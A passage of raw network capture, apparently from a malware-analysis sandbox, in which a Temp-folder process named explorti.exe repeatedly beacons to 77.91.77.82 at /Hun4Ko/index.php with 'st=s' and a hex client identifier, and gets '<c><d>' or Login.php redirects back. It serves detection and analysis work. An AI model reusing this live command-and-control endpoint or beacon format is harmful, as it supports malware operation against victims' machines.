Jul 5, 2024 06:23:46.279165983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	51518	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:46.391967058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:47.103751898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:47.104794025 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:47.330641031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	51519	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:47.438961983 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:48.155103922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:48.156080961 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:48.528034925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	51520	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:48.641211987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:49.360677004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:49.364202976 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:49.583064079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	51521	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:49.706094027 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:50.418809891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:50.419681072 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:50.641185999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	51522	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:50.750544071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:51.478677034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:51.479790926 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:51.704416990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	51523	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:51.813302040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:52.508977890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:52.509763002 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:52.726694107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	51524	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:52.844773054 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:53.536138058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:53.536936998 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:53.753698111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	51525	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:53.875641108 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:54.587189913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:54.588046074 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:54.811935902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	51526	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:54.924180031 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:55.635859013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:55.637682915 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:55.862052917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	51527	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:55.973298073 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:56.664144993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:56.665106058 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:56.881077051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	51528	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:57.000430107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:57.692178011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:57.692954063 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:57.909427881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	51530	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:58.019092083 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:58.719340086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:58.720185995 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:58.941804886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	51531	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:59.063429117 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:59.772562027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
